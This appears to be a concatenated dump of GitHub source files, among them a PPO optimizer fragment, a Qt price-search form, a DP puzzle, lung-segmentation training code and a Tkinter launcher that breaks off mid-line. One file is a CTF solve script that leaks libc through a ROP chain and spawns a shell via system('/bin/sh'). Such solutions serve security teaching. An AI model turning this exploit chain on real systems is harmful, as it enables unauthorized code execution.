stabilize learning\n if gradient_clipping is not None:\n gradients, _ = tf.clip_by_global_norm(gradients, gradient_clipping)\n\n entropy, policy_loss, value_loss = tf.reduce_mean(entropy), tf.reduce_mean(policy_loss), tf.reduce_mean(value_loss)\n\n return gradients, entropy, policy_loss, value_loss\n","repo_name":"ccnmaastricht/angorapy","sub_path":"angorapy/agent/ppo/optim.py","file_name":"optim.py","file_ext":"py","file_size_in_byte":4637,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"38358545738","text":"from pwn import *\n\np = process('rps')\ne = ELF('rps')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n\nrps = 0x401313\npop_rdi = 0x401513\nret = 0x40101a\n\ndef play_game(i, s):\n p.sendlineafter('> ', i)\n p.sendlineafter(': ', s)\n\np.sendlineafter(': ', 'y')\n\npayload = b'yes\\n\\0' \npayload += b'A' * (0x19 - 6) \npayload += b'\\x08'\n\nplay_game('1', payload)\n\npayload = b'A' * (0xc + 0x8)\npayload += pack(pop_rdi, 64)\npayload += pack(e.got['puts'], 64)\npayload += pack(e.plt['puts'], 64)\npayload += pack(rps, 64)\n\nplay_game(payload, 'no')\n\nlibc.address = unpack(p.recvline()[:-1].ljust(8, b'\\x00'), 64) - libc.symbols['puts']\nprint(hex(libc.address))\n\npayload = b'A' * (0xc + 0x8)\npayload += pack(ret, 64)\npayload += pack(pop_rdi, 64)\npayload += pack(next(libc.search(b'/bin/sh')), 64)\npayload += pack(libc.symbols['system'], 64)\n\nplay_game(payload, 'no')\n\np.interactive()","repo_name":"kabut000/CTF","sub_path":"2021/NahamCon/Rock_Paper_Scissors/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"73201056466","text":"from UIs.FormPesquisa import *\nfrom UIs.Preco.CadastroPreco import *\nfrom helpers import *\n\n\nclass PesquisaPreco(QWidget):\n def __init__(self, parent=None):\n super(PesquisaPreco, self).__init__(parent)\n self.ui = Ui_FormPesquisa()\n self.ui.setupUi(self)\n self.setWindowTitle(\"Preço - Eventos\")\n\n self.preencher_tabela()\n\n self.ui.BtnIncluir.clicked.connect(self.exibir_cadastro)\n self.ui.EditValorPesquisa.textChanged.connect(self.pesquisar)\n self.ui.BtnPesquisar.clicked.connect(self.pesquisar)\n self.ui.tableResultado.cellDoubleClicked.connect(self.seleciona_linha)\n\n def exibir_cadastro(self):\n self.cadastro = CadastroPreco()\n self.cadastro.form_pesquisa = self\n self.cadastro.show()\n\n def pesquisar(self):\n self.preencher_tabela()\n\n def seleciona_linha(self):\n table = self.ui.tableResultado\n linha = table.currentIndex().row()\n self.cadastro = CadastroPreco()\n\n preco = Preco()\n\n preco.id = (table.item(linha, 0)).text()\n preco.cache = unformat_monetary((table.item(linha, 1)).text())\n\n artista = (table.item(linha, 2)).text()\n preco.artista_id = get_artista_by_name(artista)\n\n evento = (table.item(linha, 3)).text()\n preco.evento_id = get_evento_by_format(evento)\n\n self.preco = preco\n\n self.cadastro.ui.doubleSpinBoxCache.setValue(float(preco.cache))\n\n index = self.cadastro.ui.comboBoxArtista.findText(artista)\n self.cadastro.ui.comboBoxArtista.setCurrentIndex(index)\n\n index = self.cadastro.ui.comboBoxEvento.findText(evento)\n self.cadastro.ui.comboBoxEvento.setCurrentIndex(index)\n\n self.cadastro.preco.id = int(preco.id)\n\n self.cadastro.form_pesquisa = self\n\n self.cadastro.show()\n\n def preencher_tabela(self):\n valor_pesquisa = self.ui.EditValorPesquisa.text()\n\n if valor_pesquisa != \"\":\n resultados = session.query(Preco).filter(\n Preco.cache.contains(valor_pesquisa)\n ).all()\n else:\n resultados = session.query(Preco).all()\n\n total = len(resultados)\n\n colunas = ['ID', 'Cachê', 'Artista', 'Evento']\n\n self.ui.tableResultado.setRowCount(0)\n\n self.ui.tableResultado.setRowCount(total)\n\n total_colunas = len(colunas)\n\n self.ui.tableResultado.setColumnCount(total_colunas)\n self.ui.tableResultado.setHorizontalHeaderLabels(colunas)\n\n for linha in range(total):\n for coluna in range(total_colunas):\n valor = None\n preco = resultados[linha]\n if coluna == 0:\n valor = QTableWidgetItem(f\"{preco.id}\")\n if coluna == 1:\n valor = QTableWidgetItem(f\"{format_monetary(preco.cache)}\")\n if coluna == 2:\n valor = QTableWidgetItem(f\"{get_artista_by_id(preco.artista_id)}\")\n self.ui.tableResultado.horizontalHeader().setSectionResizeMode(2, QHeaderView.ResizeMode.ResizeToContents)\n if coluna == 3:\n valor = QTableWidgetItem(f\"{get_evento_by_id(preco.evento_id)}\")\n self.ui.tableResultado.horizontalHeader().setSectionResizeMode(3, QHeaderView.ResizeMode.ResizeToContents)\n\n self.ui.tableResultado.setItem(linha, coluna, valor)\n","repo_name":"teiGustavo/eventos-pyside","sub_path":"UIs/Preco/PesquisaPreco.py","file_name":"PesquisaPreco.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21373807665","text":"# 점프\n\nimport sys\n\nn = int(sys.stdin.readline())\narray = []\nfor i in range(n):\n array.append(list(map(int, sys.stdin.readline().split())))\n\n# 메모리 초과\n# count = 0\n# queue = deque()\n# queue.append((0, 0))\n# while queue:\n# x, y = queue.popleft()\n# if x == n-1 and y == n-1:\n# count += 1\n# continue\n# nx = x + array[x][y]\n# ny = y + array[x][y]\n# if nx < n:\n# queue.append((nx, y))\n# if ny < n:\n# queue.append((x, ny))\n# print(count)\n\ndp = [[0]*n for _ in range(n)]\ndp[0][0] = 1\n\nfor x in range(n):\n for y in range(n):\n if x == n-1 and y == n-1:\n break\n if dp[x][y] >= 1:\n nx = x + array[x][y]\n ny = y + array[x][y]\n if nx < n:\n dp[nx][y] += dp[x][y]\n if ny < n:\n dp[x][ny] += dp[x][y]\n\nprint(dp[-1][-1])\n","repo_name":"dpdms529/CodingTestStudy","sub_path":"5. DP/p1890_yena.py","file_name":"p1890_yena.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35301183204","text":"\"Lung segmentation training class\"\nimport os\nimport math\nimport logging\nimport csv\nimport pickle\nfrom random import sample\nfrom sklearn.model_selection import train_test_split\nfrom keras.optimizers import Adam\nfrom keras import callbacks as cbks\nfrom lung_segmentation.models import unet_lung\nfrom lung_segmentation.utils import batch_processing\nfrom lung_segmentation.base import LungSegmentationBase\nfrom lung_segmentation.loss import dice_coefficient, loss_dice_coefficient_error, combined_loss\nfrom lung_segmentation.dataloader import CSVDataset\nfrom lung_segmentation import transforms as tx\nfrom lung_segmentation.generators import DataLoader\nfrom sklearn.model_selection import KFold\nimport numpy as np\nimport glob\n\n\nLOGGER = logging.getLogger('lungs_segmentation')\n\n\nclass LungSegmentationTraining(LungSegmentationBase):\n \"Class to run the whole training process\"\n def get_data(self, root_path='', testing=True, preproc_only=False):\n \"Function to get the data for training\"\n self.precomputed_masks = []\n self.precomputed_images = []\n self.testing = False\n testing_dir = os.path.join(self.work_dir, 'testing')\n if not preproc_only:\n self.work_dir = os.path.join(self.work_dir, 'training')\n else:\n self.work_dir = os.path.join(self.work_dir, 'pre-processing')\n if not os.path.isdir(self.work_dir):\n os.mkdir(self.work_dir)\n\n self.dcm_folders, self.mask_paths = batch_processing(self.input_path, root=root_path)\n\n if testing:\n if not os.path.isdir(testing_dir):\n os.mkdir(testing_dir)\n if os.path.isfile(os.path.join(testing_dir, 'test_subjects.txt')):\n LOGGER.info('Found a text file with the subjects to use for testing')\n with open(os.path.join(testing_dir, 'test_subjects.txt'), 'r') as f:\n self.test_set = [x.strip() for x in f]\n else:\n len_test_set = (int(len(self.dcm_folders)*0.1)\n if int(len(self.dcm_folders)*0.1) > 0 else 1)\n test_indexes = sample(range(len(self.dcm_folders)), len_test_set)\n self.test_set = [self.dcm_folders[x] for x in test_indexes]\n test_set_gt = [self.mask_paths[x] for x in test_indexes]\n LOGGER.info('{} folders have been removed from the dataset to use '\n 'them as testing cohort.'.format(len(self.test_set)))\n with open(os.path.join(testing_dir, 'test_subjects.txt'), 'w') as f:\n for s in self.test_set:\n f.write(s+'\\n')\n with open(os.path.join(testing_dir, 'test_subjects_gt_masks.txt'), 'w') as f:\n for s in test_set_gt:\n f.write(s+'\\n')\n\n LOGGER.info('{} folders will be pre-processed and use to train the '\n 'network (if network training was selected).'\n .format(len(self.dcm_folders)))\n\n def create_tensors(self, patch_size=(96, 96), save2npy=True):\n \"Function to create the tensors used for training the CNN\"\n return LungSegmentationBase.create_tensors(self, patch_size=patch_size, save2npy=save2npy)\n\n def data_split(self, additional_dataset=[], delete_existing=False,\n test_percentage=0.2, fold=5):\n \"Function to split the whole dataset into training and validation\"\n self.csv_file = sorted(glob.glob(os.path.join(self.work_dir, 'image_filemap_fold*.csv')))\n if len(self.csv_file) != fold or delete_existing:\n for csv_f in self.csv_file:\n os.remove(csv_f)\n self.csv_file = []\n w_dirs = [self.work_dir] + additional_dataset\n LOGGER.info('Splitting the dataset into training ({0}%) and validation ({1}%).'\n .format((100-test_percentage*100), test_percentage*100))\n for directory in w_dirs:\n data = []\n masks = []\n for root, _, files in os.walk(directory):\n for name in files:\n if name.endswith('.npy') and 'Raw_data' in name and 'patch' in name:\n data.append(os.path.join(root, name))\n elif name.endswith('.npy') and 'Raw_data' not in name and 'patch' in name:\n masks.append(os.path.join(root, name))\n\n data = sorted(data)\n masks = sorted(masks)\n\n x_train, x_test, y_train, y_test = train_test_split(\n data, masks, test_size=test_percentage, random_state=42)\n\n self.x_train = self.x_train + x_train\n self.x_test = self.x_test + x_test\n self.y_train = self.y_train + y_train\n self.y_test = self.y_test + y_test\n\n images = self.x_train + self.x_test\n masks = self.y_train + self.y_test\n data_dict = {}\n data_dict['images'] = images\n data_dict['masks'] = masks\n if fold > 1:\n kf = KFold(n_splits=fold)\n fold_number = 0\n for train_index, test_index in kf.split(images):\n labels = np.zeros(len(images), dtype='U5')\n labels[train_index] = 'train'\n labels[test_index] = 'test'\n data_dict['train-test'] = labels\n with open(os.path.join(self.work_dir, 'image_filemap_fold{}.csv'\n .format(fold_number)), 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(data_dict.keys())\n writer.writerows(zip(*data_dict.values()))\n self.csv_file.append(os.path.join(self.work_dir, 'image_filemap_fold{}.csv'\n .format(fold_number)))\n fold_number += 1\n else:\n labels = ['train']*len(self.x_train) + ['test']*len(self.x_test)\n data_dict['train-test'] = labels\n with open(os.path.join(self.work_dir, 'image_filemap_fold0.csv'), 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(data_dict.keys())\n writer.writerows(zip(*data_dict.values()))\n\n def run_training(self, n_epochs=100, training_bs=50, validation_bs=50,\n lr_0=2e-4, training_steps=None, validation_steps=None,\n weight_name=None, data_augmentation=True, keep_training=False):\n \"Function to run training with data augmentation\"\n for n_fold, csv_file in enumerate(self.csv_file):\n LOGGER.info('Running training for fold {}'.format(n_fold+1))\n if data_augmentation:\n co_tx = tx.Compose([tx.RandomAffine(rotation_range=(-35,35),\n translation_range=(0.4,0.4),\n shear_range=(-30,30),\n zoom_range=(0.45,1.55),\n turn_off_frequency=5,\n fill_value='min',\n target_fill_mode='constant',\n target_fill_value='min')])\n else:\n co_tx = None\n\n dataset = CSVDataset(filepath=csv_file,\n base_path='',\n input_cols=['images'],\n target_cols=['masks'],\n co_transform=co_tx)\n\n val_data, train_data = dataset.split_by_column('train-test')\n\n if training_steps is None:\n training_steps = math.ceil(len(train_data)/training_bs)\n validation_steps = math.ceil(len(val_data)/validation_bs)\n else:\n training_steps = training_steps\n validation_steps = validation_steps\n\n train_loader = DataLoader(train_data, batch_size=training_bs, shuffle=False)\n val_loader = DataLoader(val_data, batch_size=validation_bs, shuffle=False)\n if weight_name is None:\n weight_name = os.path.join(\n self.work_dir, 'double_feat_per_layer_BCE_augmented_fold{}.h5'.format(n_fold+1))\n\n # create model\n initial_epoch = 0\n if self.transfer_learning or keep_training:\n model = unet_lung(pretrained_weights=weight_name)\n else:\n model = unet_lung()\n\n if keep_training:\n try:\n with open(os.path.join(self.work_dir, 'training_history_fold{}.p'\n .format(n_fold+1)), 'rb') as file_pi:\n past_hist = pickle.load(file_pi)\n initial_epoch = len(past_hist['val_loss'])\n lr_0 = past_hist['lr'][-1]\n except FileNotFoundError:\n LOGGER.info('No training history found. The training will start from epoch 1')\n\n if self.transfer_learning:\n weight_name_0 = weight_name\n for layer in model.layers[:25]:\n layer.trainable=False\n weight_name = os.path.join(\n self.work_dir, 'double_feat_per_layer_BCE_augmented_tl_fold{}.h5'\n .format(n_fold+1))\n\n model.compile(optimizer=Adam(lr_0), loss='binary_crossentropy',\n metrics=[dice_coefficient])\n\n callbacks = [cbks.ModelCheckpoint(weight_name, monitor='val_loss',\n save_best_only=True),\n cbks.ReduceLROnPlateau(monitor='val_loss', factor=0.1)]\n\n history = model.fit_generator(\n generator=iter(train_loader),\n steps_per_epoch=training_steps,\n epochs=n_epochs, verbose=1, callbacks=callbacks,\n shuffle=True,\n validation_data=iter(val_loader),\n validation_steps=validation_steps,\n class_weight=None, max_queue_size=10,\n workers=1, use_multiprocessing=False, initial_epoch=initial_epoch)\n if keep_training:\n for key_val in past_hist.keys():\n history.history[key_val] = past_hist[key_val] + history.history[key_val]\n with open(os.path.join(self.work_dir, 'training_history_fold{}.p'\n .format(n_fold+1)), 'wb') as file_pi:\n pickle.dump(history.history, file_pi)\n if self.transfer_learning:\n weight_name = weight_name_0\n else:\n weight_name = None\n","repo_name":"sforazz/lung_segmentation","sub_path":"lung_segmentation/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":11015,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"7263794793","text":"import tkinter\nfrom tkinter import ttk,messagebox,filedialog,font\nfrom PIL import ImageTk,Image\nimport sv_ttk\nimport os\n## Launcher files\nimport fileHandler\nimport UIModules.settings_wizard as settings_wizard\nimport UIModules.about as about\nimport editMain\n\nclass splash():\n def __init__(self):\n self.splashScreen = tkinter.Tk(None,None,\" Loading - Crumbl 2D Launcher\")\n self.splashScreen.wm_attributes('-type', 'normal') #Origially splash to make actual splash screen, KDE (and maybe all other DE's, no matter the OS) never updates \n self.splashScreen.geometry(\"700x420+2000+500\")\n self.splashScreen.resizable(False,False)\n self.splashImage = ImageTk.PhotoImage(Image.open(fileHandler.launcherSplash).resize((700,400)))\n self.imageText = tkinter.Label(image=self.splashImage)\n self.imageText.pack()\n self.loadStatus = tkinter.StringVar(self.imageText)\n self.loadArea = tkinter.Frame(self.splashScreen)\n self.loadArea.pack(side=\"bottom\",fill=\"x\")\n self.loadText = ttk.Label(self.loadArea,textvariable=self.loadStatus)\n self.loadText.pack(side=\"left\")\n self.loadBar = ttk.Progressbar(self.loadArea)\n self.loadBar.pack(side=\"right\",fill=\"x\")\n self.hamburgerEnable = True\n self.splashScreen.update()\n self.defaultFont = font.nametofont(\"TkDefaultFont\")\n self.defaultFont.configure(family=\"Source Sans Pro\")\n settings_wizard.NotebookPage.applySettings(self,self.loadStatus,self.loadBar,self.splashScreen)\n self.convertFromSplash()\n def convertFromSplash(self):\n # Custom window decorations\n self.splashScreen.resizable(True,True)\n self.splashScreen.wm_attributes('-type', 'normal')\n self.splashScreen.geometry(\"1000x600\")\n self.splashScreen.update()\n self.imageText.destroy()\n self.loadArea.destroy()\n self.splashScreen.title(\"Crumbl 2D Launcher\")\n self.menuBar = tkinter.Frame(relief=\"raised\",borderwidth=2)\n self.menuBar.pack(side=\"top\", fill= \"x\")\n self.hamburgerButton = ttk.Button(self.menuBar,text = \"X\",command=self.toggleHamburger)\n self.hamburgerButton.pack(side = \"left\")\n self.logoImage = ImageTk.PhotoImage(Image.open(fileHandler.engine_logo).resize([114,32]))\n self.logoContainer = ttk.Label(self.menuBar,image=self.logoImage)\n self.logoContainer.pack(side = \"left\")\n self.backButton = ttk.Button(self.menuBar,text=\"\",self.clearSearch)\n\n # Hamburger menu options\n self.hamburgerMenu = tkinter.Frame(relief=\"groove\",borderwidth=2)\n self.hamburgerMenu.pack(side=\"left\",fill=\"y\")\n self.newProjectText = ttk.Label(self.hamburgerMenu,text=\"NEW\")\n self.newProjectText.pack(side=\"top\",fill = \"x\")\n self.newProjectImage = ImageTk.PhotoImage(Image.open(fileHandler.new_project_asset))\n self.newGameButton = ttk.Button(self.hamburgerMenu,text=\"New Project\",image = self.newProjectImage,compound=\"left\",command=self.createProject)\n self.newGameButton.pack(side = \"top\",fill = \"x\")\n self.openProjectText = ttk.Label(self.hamburgerMenu,text=\"OPEN\")\n self.openProjectText.pack(side=\"top\",fill = \"x\")\n self.openProjectImage = ImageTk.PhotoImage(Image.open(fileHandler.open_project_asset))\n self.openGameButton = ttk.Button(self.hamburgerMenu,text=\"Open Project\",image = self.openProjectImage,compound=\"left\",command=lambda s = self : self.openProject(s))\n self.openGameButton.pack(side = \"top\",fill = \"x\")\n self.gitCloneImage = ImageTk.PhotoImage(Image.open(fileHandler.git_clone_asset))\n self.openGitButton = ttk.Button(self.hamburgerMenu,text=\"Clone from Git\",image = self.gitCloneImage,compound=\"left\",command=lambda s = self : self.gitClone(s))\n self.openGitButton.pack(side = \"top\",fill = \"x\")\n self.settingsText = ttk.Label(self.hamburgerMenu,text=\"SETTINGS\")\n self.settingsText.pack(side=\"top\",fill = \"x\")\n self.settingsImage = ImageTk.PhotoImage(Image.open(fileHandler.settings_asset))\n self.settingsButton = ttk.Button(self.hamburgerMenu,text=\"Settings\",image = self.settingsImage,compound=\"left\",command=lambda s=self,m=\"settings\":self.setupSharedEditorTab(s,m))\n self.settingsButton.pack(side = \"top\",fill = \"x\")\n self.aboutImage = ImageTk.PhotoImage(Image.open(fileHandler.crumbl_logo).resize([32,32]))\n self.aboutButton = ttk.Button(self.hamburgerMenu,text=\"About\",image = self.aboutImage,compound=\"left\",command=lambda s=self,m=\"about\":self.setupSharedEditorTab(s,m))\n self.aboutButton.pack(side = \"top\",fill = \"x\")\n\n # Pre-determined widget frames\n self.welcomeFrame = tkinter.Frame()\n self.createFrame = tkinter.Frame()\n self.settingsFrame = tkinter.Frame()\n self.aboutFrame = tkinter.Frame()\n\n self.welcomeFrame.pack(fill=\"both\",expand=1)\n self.wText = ttk.Label(self.welcomeFrame,text = \"Welcome to the Crumbl 2D launcher!\",font = (\"TkDefaultFont\",24,\"bold\"))\n self.wText.pack(side = \"top\",fill = \"x\")\n self.recentFilesText = ttk.Label(self.welcomeFrame,text = \"Recent projects\")\n self.recentFilesText.pack(side = \"top\",fill = \"x\")\n if len(fileHandler.recentFileData[\"recentFilenames\"]) == 0:\n self.noFileIcon = ImageTk.PhotoImage(Image.open(fileHandler.noFile_asset))\n self.noRecentFilesText = ttk.Label(self.welcomeFrame,text=\"No recent files found\",font = (\"TkDefaultFont\",18,\"bold\"),image=self.noFileIcon,compound=\"top\")\n self.noRecentFilesText.pack(anchor=\"center\")\n self.noRecentFilesText = ttk.Label(self.welcomeFrame,text=\"Start a project or open an existing one to get started!\")\n self.noRecentFilesText.pack(anchor=\"center\")\n self.createFirstProjectButton = ttk.Button(self.welcomeFrame,text=\"New Project\",image = self.newProjectImage,compound=\"left\",command=self.createProject)\n self.createFirstProjectButton.pack(anchor=\"center\")\n else:\n self.recents = ttk.Treeview(self.welcomeFrame)\n self.recents.pack(fill = \"both\",expand=1)\n for i in fileHandler.recentFileData[\"recentFilenames\"]:\n self.recents.insert(\"\",tkinter.END,i)\n\n # Final steps\n self.splashScreen.mainloop()\n def clearSearch(self,event = None):\n self.searchResult.set(\"\")\n\n def toggleHamburger(self):\n if self.hamburgerEnable:\n self.hamburgerEnable = False\n self.hamburgerButton.config(text=\"≡\")\n self.hamburgerMenu.pack_forget()\n else:\n self.hamburgerEnable = True\n self.hamburgerButton.config(text=\"X\")\n self.welcomeFrame.pack(side = \"right\",fill=\"both\",expand=1,anchor=\"center\")\n self.hamburgerMenu.pack(side=\"left\",fill=\"y\",expand=1,anchor=\"w\")\n\n def backToMainMenu(self,menu):\n if menu == \"newGame\":\n self.welcomeFrame.pack()\n self.createFrame.pack_forget()\n self.backButton.pack_forget()\n self.hamburgerButton.pack(side=\"left\")\n \n def updateTemplateListing(self,event = None):\n for i in self.templates.get_children():\n self.templates.delete(i)\n print(\"Launcher: Previous items removed for reorganization\")\n templateTypes = fileHandler.templateData[\"templateTypes\"]\n templateNames = fileHandler.templateData[\"templateNames\"]\n if self.filterSortChoice.get() == \"Type\":\n filteredTemplateTypes = set(templateTypes)\n for i in filteredTemplateTypes:\n self.templates.insert(\"\",tkinter.END,values=i,iid=i)# Set iid to same name as category\n for i in range(len(templateNames)):\n self.templates.insert(templateTypes[i],tkinter.END,values = templateNames[i])\n elif self.filterSortChoice.get() == \"Name (A-Z)\":\n templateNames.sort()\n for i in range(len(templateNames)):\n self.templates.insert(\"\",tkinter.END,values = templateNames[i])\n elif self.filterSortChoice.get() == \"Name (Z-A)\":\n templateNames.sort(reverse=True)\n for i in range(len(templateNames)):\n self.templates.insert(\"\",tkinter.END,values = templateNames[i])\n print(\"\\033[32mLauncher: Item reorganization complete!\\033[0m\")\n\n def selectMenuItem(self,event):\n iid = self.templates.identify(\"item\",event.x,event.y)\n name = self.templates.item(iid)[\"values\"]\n if not name == iid: # Avoid updating if it is a prent root (for type sorting, parent objects have same iid as name) \n try:\n index = fileHandler.templateData[\"templateNames\"].index(name[0]) \n description = fileHandler.templateData[\"templateDescriptions\"][index]\n self.objectDescription.configure(text=description)\n self.objectName.set(name) # Run this last, so the exception would have gone through before the name was edited\n self.continueButton.configure(state=\"normal\",command=lambda s=self:self.newProjectStepB(s))\n except Exception:\n print(\"\\033[33mLauncher: Item selected is a category\\033[0m\")\n\n def openProject(self,event = None):\n print(\"Launcher: Open project started\")\n self.directory = filedialog.askdirectory(title=\"Choose project directory\")\n print(\"Launcher: Checking for project validity\")\n self.projectManifest = os.path.join(self.directory,\"projectData.c2data\")\n if os.path.exists(self.projectManifest): # Check for the project mainfest json file\n print(\"\\033[32mLauncher: Project is valid! Opening...\\033[0m\")\n editMain.app(self.directory,False) # Open editor\n self.splashScreen.destroy() # Close launcher\n elif not self.directory:\n print(\"\\033[33mLauncher: Project opening cancelled!\\033[0m\")\n else:\n print(\"\\033[33mLauncher: Directory is not a project\\033[0m\")\n messagebox.showerror(\"Invalid folder\",\"This directory is not a Crumbl2D project!\")\n self.openProject(self) # Loop back\n\n def gitClone(self,event =None):\n self.welcomeFrame.pack_forget()\n self.createFrame.pack(fill=\"both\",expand=1)\n # Rename window, place back button\n self.splashScreen.winfo_toplevel().title = \"Clone from Git - Crumbl 2D Launcher\"\n self.logoContainer.pack_forget()# Forget logo temporarily\n self.backButton.pack(side=\"left\")\n self.backButton.config(command=lambda self = self,a = \"newGame\":self.backToMainMenu(a))\n self.loginButton = ttk.Button(self.createFrame,text = \"Login to Git\")\n self.loginButton.pack(anchor=\"ne\")\n self.loginText = ttk.Label(self.createFrame,text = \"Reccommended for collaboration\")\n self.loginText.pack(anchor=\"ne\")\n self.urlMenu = ttk.Combobox(self.createFrame)\n self.urlMenu.pack(anchor=\"nw\")\n self.urlText = ttk.Label(self.createFrame,text = \"Git URL\")\n self.urlText.pack(anchor=\"nw\")\n self.cloneText = ttk.Label(self.createFrame,text = \"Clone From Git\",font = (\"TkDefaultFont\",24,\"bold\"))\n self.cloneText.pack()\n self.repoText = ttk.Label(self.createFrame,text=\"Repository location:\")\n self.repoText.pack(side = \"top\")\n self.repoData = tkinter.StringVar(self.createFrame)\n self.repoEntry = ttk.Entry(self.createFrame,textvariable=self.repoData)\n self.repoEntry.pack(side = \"top\")\n self.dirText = ttk.Label(self.createFrame,text=\"Location:\")\n self.dirText.pack(side = \"top\")\n self.dirFrame = ttk.Frame(self.createFrame)\n self.dirFrame.pack(side = \"top\")\n self.dirData = tkinter.StringVar(self.dirFrame)\n self.dirEntry = ttk.Entry(self.dirFrame,textvariable = self.dirData)\n self.dirEntry.pack(side=\"left\")\n self.dirButton = ttk.Button(self.dirFrame,text=\"Browse...\",command=lambda s = self:self.chooseDir(s))\n self.dirButton.pack(side=\"right\")\n self.stepCContinue = ttk.Button(self.createFrame,style = \"Accent.TButton\",text = \"Clone!\")\n self.stepCContinue.pack(side=\"bottom\",anchor=\"se\")\n \n def createProject(self):\n self.createFrame.pack(fill=\"both\",expand=1)\n self.welcomeFrame.pack_forget()\n # Rename window, place back button\n self.splashScreen.winfo_toplevel().title = \"New project - Crumbl 2D Launcher\"\n self.logoContainer.pack_forget()# Forget logo temporarily\n self.backButton.pack(side=\"left\")\n self.backButton.config(command=lambda self = self,a = \"newGame\":self.backToMainMenu(a))\n self.logoContainer.pack(side=\"left\") # Reintroduce logo\n # Remove hamburger button (will be returned if returned to welcome page)\n self.hamburgerEnable = True\n self.toggleHamburger()\n self.hamburgerButton.pack_forget()\n self.searchResult.set(\"Search templates...\")\n # String variables\n self.filterTypeChoice = tkinter.StringVar(self.createFrame)\n self.filterSortChoice = tkinter.StringVar(self.createFrame,\"Type\")\n self.objectName = tkinter.StringVar(self.createFrame,\"None selected\")\n # Generate new widgets\n self.cProgressBar = ttk.Progressbar(self.createFrame)\n self.cProgressBar.pack(side = \"top\",fill=\"x\")\n self.cProgressBar.step(33)\n self.installButton = ttk.Button(self.createFrame,text = \"Install a template\")\n self.installButton.pack(anchor=\"ne\")\n self.cText = ttk.Label(self.createFrame,text = \"Create New Project\",font = (\"TkDefaultFont\",24,\"bold\"))\n self.cText.pack(side = \"top\")\n self.choiceText = ttk.Label(self.createFrame,text = \"Choose a template\")\n self.choiceText.pack(side = \"top\")\n self.filterArea = ttk.Frame(self.createFrame)\n self.filterArea.pack(side = \"top\", fill=\"x\")\n self.filterText = tkinter.Label(self.filterArea,text = \"Filter:\")\n self.filterText.pack(side=\"left\")\n self.typeMenu = ttk.OptionMenu(self.filterArea,self.filterTypeChoice,*set(fileHandler.templateData[\"templateTypes\"]))\n self.typeMenu.pack(side=\"left\")\n self.sortText = tkinter.Label(self.filterArea,text = \"Sort by:\")\n self.sortText.pack(side=\"left\")\n self.sortMenu = ttk.OptionMenu(self.filterArea,self.filterSortChoice,\n *[\"Type\",\"Type\",\"Times used\",\"Name (A-Z)\",\"Name (Z-A)\"]\n ,command=lambda e,s=self:self.updateTemplateListing(s))\n self.sortMenu.pack(side=\"left\")\n self.templateFrame = ttk.Frame(self.createFrame,relief=\"raised\",borderwidth=2)\n self.templateFrame.pack(side = \"left\",fill= \"both\",expand=1)\n self.templates = ttk.Treeview(self.templateFrame,columns=[\"Template\"])\n self.templates.pack(fill = \"both\",expand=1)\n self.templates.bind(\"\",self.selectMenuItem)\n self.choiceFrame = ttk.Frame(self.createFrame)\n self.choiceFrame.pack(side = \"right\",fill=\"y\")\n self.objectTitle = ttk.Label(self.choiceFrame,textvariable=self.objectName,font = (\"TkDefaultFont\",18,\"bold\"))\n self.objectTitle.pack(side=\"top\")\n self.objectDescription = ttk.Label(self.choiceFrame,text = \"Select something to get more info and continue\")\n self.objectDescription.pack(side=\"top\")\n self.continueButton = ttk.Button(self.choiceFrame,text = \"Next>\",state=\"disabled\",style=\"Accent.TButton\")\n self.continueButton.pack(anchor=\"se\")\n self.updateTemplateListing(self)\n \n def chooseDir(self,event = None):\n self.dirData.set(filedialog.askdirectory(title=\"Choose project directory\"))\n\n def newProjectStepB(self,event = None):\n # Remove widgets from previous step\n self.installButton.pack_forget()\n self.cText.pack_forget()\n self.choiceText.pack_forget()\n self.filterArea.pack_forget()\n self.filterText.pack_forget()\n self.typeMenu.pack_forget()\n self.sortText.pack_forget()\n self.sortMenu.pack_forget()\n self.templateFrame.pack_forget()\n self.templates.pack_forget()\n self.choiceFrame.pack_forget()\n self.objectTitle.pack_forget()\n self.objectDescription.pack_forget()\n self.continueButton.pack_forget()\n # Advance progress bar \n self.cProgressBar.step(33)\n # Configure back button\n # TODO: Implement back button changes\n # Generate naming form\n self.stepBText= ttk.Label(self.createFrame,text = \"Name your project\",font = (\"TkDefaultFont\",24,\"bold\"))\n self.stepBText.pack(side = \"top\")\n self.templateText = ttk.Label(self.createFrame,text=\"Template chosen: %s\"%self.objectName.get().lstrip(\"('\").rstrip(\"',)\"))\n self.templateText.pack(side = \"top\")\n self.nameText = ttk.Label(self.createFrame,text=\"Name:\")\n self.nameText.pack(side = \"top\")\n self.nameData = tkinter.StringVar(self.createFrame)\n self.nameEntry = ttk.Entry(self.createFrame,textvariable=self.nameData)\n self.nameEntry.pack(side = \"top\")\n self.dirText = ttk.Label(self.createFrame,text=\"Location:\")\n self.dirText.pack(side = \"top\")\n self.dirFrame = ttk.Frame(self.createFrame)\n self.dirFrame.pack(side = \"top\")\n self.dirData = tkinter.StringVar(self.dirFrame)\n self.dirEntry = ttk.Entry(self.dirFrame,textvariable = self.dirData)\n self.dirEntry.pack(side=\"left\")\n self.dirButton = ttk.Button(self.dirFrame,text=\"Browse...\",command=lambda s = self:self.chooseDir(s))\n self.dirButton.pack(side=\"right\")\n self.newDir = True\n self.createNewDir = ttk.Checkbutton(self.createFrame,text = \"Create in new directory\",variable=self.newDir,style=\"Switch.TCheckbutton\")\n self.createNewDir.pack(side = \"top\")\n self.stepCContinue = ttk.Button(self.createFrame,style = \"Accent.TButton\",text = \"Next>\",command=lambda s = self, a = self.objectName.get():self.newProjectStepC(s,a))\n self.stepCContinue.pack(side=\"bottom\",anchor=\"se\")\n\n def finishProjectCreation(self,name,dir,template,specialoptionNames,event = None):\n print(\"LAUNCHER: 